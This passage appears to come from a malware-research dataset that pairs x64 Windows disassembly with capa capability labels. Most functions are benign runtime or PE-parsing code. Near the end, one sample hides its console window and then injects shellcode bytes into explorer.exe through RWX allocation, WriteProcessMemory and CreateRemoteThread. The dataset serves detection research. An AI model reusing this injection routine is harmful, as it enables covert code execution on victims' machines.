joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140093730
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x1400937ba
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x1400937b0
cmp r10, r11
jb 0x140093836
cmp r10, rdx
ja 0x140093848
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x1400937b2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140093790
jmp 0x140093817
ja 0x1400937ba
mov r11, r10
cmp rax, r8
jne 0x140093757
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14009381b
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400937f0
mov r8, r10
sub ecx, r9d
jns 0x14009380e
jmp 0x14009381d
cmp r10, rdx
je 0x14009382a
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14009381d
xor al, 1
cmp r8, rdx
jne 0x1400937d0
jmp 0x14009381d
xor eax, eax
jmp 0x14009381d
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, [0x1400bec88]
call sym.core::option::unwrap_failed::h38ae581b954ce070
lea r8, [0x1400beca0]
mov rcx, r11
mov rdx, r10
call dbg.slice_index_order_fail
lea r8, [0x1400beca0]
mov rcx, r10
call dbg.slice_end_index_len_fail
int3
Function at 0x14009a090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
movzx eax, byte [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
jne 0x14009a0f2
test cl, 0x20
jne 0x14009a134
mov r8d, eax
sar r8b, 7
mov ecx, eax
xor cl, r8b
sub cl, r8b
cmp cl, 0x64
jb 0x14009a1a5
add cl, cl
add cl, 0x38
movzx ecx, cl
lea r8, [0x1400be056]
movzx ecx, word [rcx + r8]
mov word [rbp - 0x23], cx
mov r8d, 0x24
mov cl, 1
jmp 0x14009a1b0
lea r9, [rbp + 0x38]
xor r8d, r8d
mov ecx, eax
nop dword [rax + rax]
mov r10d, eax
and r10b, 0xf
shr cl, 4
lea r11d, [r10 + 0x30]
lea esi, [r10 + 0x57]
cmp r10b, 0xa
movzx r10d, r11b
movzx r11d, sil
cmovb r11d, r10d
mov byte [r9 - 1], r11b
dec r9
inc r8
cmp al, 0x10
mov eax, ecx
jae 0x14009a100
jmp 0x14009a172
lea r9, [rbp + 0x38]
xor r8d, r8d
mov ecx, eax
nop dword [rax]
mov r10d, eax
and r10b, 0xf
shr cl, 4
lea r11d, [r10 + 0x30]
lea esi, [r10 + 0x37]
cmp r10b, 0xa
movzx r10d, r11b
movzx r11d, sil
cmovb r11d, r10d
mov byte [r9 - 1], r11b
dec r9
inc r8
cmp al, 0x10
mov eax, ecx
jae 0x14009a140
mov ecx, pe_nt_image_headers64
sub rcx, r8
cmp rcx, 0x81
jae 0x14009a211
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r9
lea r8, [0x1400be052]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x14009a201
mov r8d, 0x26
cmp cl, 0xa
jae 0x14009a1ba
or cl, 0x30
mov byte [rbp + r8 - 0x48], cl
jmp 0x14009a1d3
movzx ecx, cl
lea r8, [0x1400be056]
movzx ecx, word [r8 + rcx*2]
mov word [rbp - 0x23], cx
mov r8d, 0x25
lea rcx, [r8 + rbp]
add rcx, 0xffffffffffffffb8
mov r9d, 0x27
sub r9, r8
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], rcx
not al
shr al, 7
mov r8d, 1
mov rcx, rdx
mov edx, eax
xor r9d, r9d
call dbg.pad_integral
nop
add rsp, 0xb8
pop rsi
pop rbp
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, pe_nt_image_headers64
call dbg.slice_start_index_len_fail
int3
Function at 0x1400a0e00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400a0e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400dc1f4]
mov rbx, rcx
test esi, esi
jle 0x1400a0fa0
mov rax, qword [0x1400dc1f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400a0ebb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400a0f45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400a0ea0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400a0fc2
mov rax, qword [0x1400dc1f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400dc1f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400a0fa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400a0f3e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400a0f50
add dword [0x1400dc1f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400dc1f8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400a0f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400a0ec8
mov rax, qword [0x1400dc1f8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400a1550
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400dc260]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400dc240]
test rbx, rbx
je 0x1400a15ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400a15a3
test eax, eax
jne 0x1400a15a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400a1588
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400a17c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400a17d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400a17e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400a17f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400a183d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400a1834
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400a183f
add rax, 0x28
cmp rax, r9
jne 0x1400a1820
xor eax, eax
ret

Function at 0x1400a1840
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400a18d0
mov rdx, qword [0x1400c9dd0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400a18be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400a18be
cmp word [rax + 0x18], 0x20b
jne 0x1400a18be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400a18d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400a18a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400a18d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400a18a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400a18e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c9dd0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400a1900
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400a1908
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400a1900
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400a195d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400a1954
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400a1900
add rax, 0x28
cmp rax, r9
jne 0x1400a1940
xor eax, eax
ret

Function at 0x1400a1960
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c9dd0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400a197f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400a1988
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400a197f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400a19a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c9dd0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400a19c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400a19c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400a19c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400a1a10
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400a1a07
test rcx, rcx
je 0x1400a19c0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400a19f8
xor eax, eax
ret

Function at 0x1400a1a20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c9dd0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400a1a3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400a1a48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400a1a60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c9dd0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400a1a80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400a1a88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400a1a80
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400a1a80
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400a1ad4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400a1ae0
add rdx, 0x28
cmp rdx, r9
jne 0x1400a1ac0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400a1af0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400c9dd0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400a1b12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400a1b20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400a1b12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400a1b12
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400a1b12
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400a1b75
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400a1b88
add rdx, 0x28
cmp r10, rdx
jne 0x1400a1b60
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400a1b97
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400a1ba7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400a1b7e
test ecx, ecx
jg 0x1400a1b90
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140008210
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140324cc0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor esi, esi
mov qword [rbp - 0x21], rsi
movdqa xmm0, xmmword [0x1402d8150]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 0x21], si
lea rcx, [rbp - 0x21]
call fcn.140063670
mov ebx, eax
test eax, eax
js 0x14000828b
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 8
cmovae rcx, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
test eax, eax
je 0x140008277
mov ebx, esi
jmp 0x14000828b
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov qword [rbp - 0x41], rsi
movdqa xmm0, xmmword [0x1402d8150]
movdqu xmmword [rbp - 0x31], xmm0
mov word [rbp - 0x41], si
test ebx, ebx
js 0x1400083b8
lea rdx, [rbp - 0x41]
mov cl, 1
call fcn.1400650ec
mov ebx, eax
test eax, eax
js 0x1400083b8
mov r8d, SafeArrayUnaccessData
lea rdx, str.FileSyncHelperlogs
lea rcx, [rbp - 0x41]
call fcn.14000a25c
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 8
cmovae rdx, qword [rbp - 0x41]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea rax, [rbp - 0x41]
cmp qword [rbp - 0x29], 8
cmovae rax, qword [rbp - 0x41]
xor r9d, r9d
mov byte [rsp + 0x48], sil
mov dword [rsp + 0x40], 3
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], sil
xor r8d, r8d
lea rsi, str.FileSyncHelper
mov rdx, rsi
mov rcx, rsi
call fcn.14002010c
mov ebx, eax
lea rax, [0x1402d6410]
mov qword [rbp + 0x37], rax
mov dword [rbp + 0x2f], 3
mov dword [rbp + 0x3f], ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0x7df240a5
lea rax, [0x1402d6cc8]
mov qword [rsp + 0x20], rax
lea r9, str.InitializeLogging
mov r8d, reloc.OLEAUT32.dll_RegisterTypeLib
lea rdx, str.D:dbs_shodct0811_230641cmdeclientonedriveProductElevatedHelperServerexewinmain.cpp
lea rcx, [rbp - 1]
call fcn.14001f5f8
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 1]
call fcn.140020644
call fcn.14002025c
mov rdx, rsi
lea rcx, str.App_Name
call fcn.1400203d8
nop
lea rcx, [rbp - 0x41]
call fcn.14000a1f8
nop
lea rcx, [rbp - 0x21]
call fcn.14000a1f8
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400b4b90
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14000ee10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140324cc0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov ebx, r8d
mov rdi, rdx
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r9, qword [rcx + 0x10]
test r9, r9
je 0x14000ee5d
mov rax, qword [rcx + 8]
mov qword [rbp - 9], rax
mov qword [rbp - 1], r9
lock inc dword [r9 + 0xc]
and dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0xa33e3cf3
lea rax, [0x1402d6cc8]
mov qword [rsp + 0x20], rax
lea r9, str.VaultMounter::WatchCaller
mov r8d, QISearch
lea rdx, str.D:dbs_shodct0811_230641cmdoclientonedriveProductElevatedHelperServerServiceVaultMounter.cpp
lea rcx, [rbp + 0x1f]
call fcn.14001f5f8
xor edx, edx
lea rcx, [rbp + 0x1f]
call fcn.140020644
call fcn.14002025c
mov ecx, 0x28
call fcn.1400b4bb0
mov dword [rax], ebx
mov qword [rax + 8], rdi
and qword [rax + 0x10], 0
and qword [rax + 0x18], 0
mov rbx, qword [rbp - 1]
test rbx, rbx
je 0x14000eeea
mov rcx, qword [rbp - 9]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
lock inc dword [rbx + 0xc]
mov rbx, qword [rbp - 1]
lea rcx, [0x14000ea90]
mov qword [rax + 0x20], rcx
mov qword [rbp + 0x17], rax
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x28], rcx
and dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400193e0]
xor edx, edx
xor ecx, ecx
call fcn.1400cbc14
mov qword [rbp + 7], rax
test rax, rax
je 0x14000ef97
cmp dword [rbp + 0xf], 0
je 0x14000efa6
movaps xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x29]
call fcn.140095a98
test eax, eax
jne 0x14000ef8f
xorps xmm0, xmm0
movaps xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp + 7], xmm0
test rbx, rbx
je 0x14000ef6e
or eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000ef6e
mov rcx, qword [rbp - 1]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x14008cbac.0]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400b4b90
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov ecx, eax
call fcn.1400914c8
nop
and dword [rbp + 0xf], 0
mov ecx, 6
call fcn.140091504
nop
mov ecx, 1
call fcn.140091504
int3
Function at 0x1400b5e8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b5ed6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b5ed6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b5ed6
mov eax, SHFlushSFCache
cmp word [rcx + 0x18], ax
jne 0x1400b5ed6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b5ed6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b5ed8
xor al, al
add rsp, 0x28
ret

Function at 0x1400cead8
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400ceaf8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400cbd3c
or eax, 0xffffffff
jmp 0x1400ceafa
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400d9688
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x240
mov rax, qword [0x140324cc0]
xor rax, rsp
mov qword [rsp + 0x230], rax
lea rdx, [0x140291af0]
mov rbp, rcx
call fcn.1400eb61c
xor edi, edi
test rax, rax
je 0x1400d976e
mov ebx, edi
call fcn.1400cbdc8
mov r14d, dword [rax]
call fcn.1400cbdc8
mov r8d, 0x104
lea rcx, [rsp + 0x20]
mov rdx, rbp
mov dword [rax], edi
call fcn.1400eb568
mov rsi, rax
test rax, rax
je 0x1400d96ff
call fcn.1400cbdc8
mov dword [rax], r14d
jmp 0x1400d9729
call fcn.1400cbdc8
cmp dword [rax], 0x22
jne 0x1400d9766
call fcn.1400cbdc8
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.1400eb568
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x1400d9766
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x1400d972d
cmp rax, 3
je 0x1400d9748
mov rcx, rsi
call fcn.1400d95e4
test al, al
je 0x1400d9759
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x1400d9759
mov dil, 1
mov rcx, rbx
call fcn.1400c95b4
mov al, dil
jmp 0x1400d9770
mov rcx, rbx
call fcn.1400c95b4
xor al, al
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400b4b90
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004400]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004410]
mov dword [rax], 1
mov rax, qword [0x140004420]
mov dword [rax], 1
mov rax, qword [0x140004380]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400043f0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001481
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x140001516
mov rax, qword [rbp + 0xf0]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sym.strcmp
test eax, eax
jne 0x1400014ff
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x58]
jmp 0x14000152e
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x1400014cc
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x140001537
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea rax, str.explorer.exe
mov rcx, rax
call sym.find_process_id
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x14000164b
mov eax, dword [rbp - 4]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14000164e
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
movabs rax, 0x896000000082e8fc
movabs rdx, 0x8b30508b64c031e5
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x14000164f
nop
jmp 0x14000164f
nop
add rsp, 0x70
pop rbp
ret

Function at 0x140001960
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
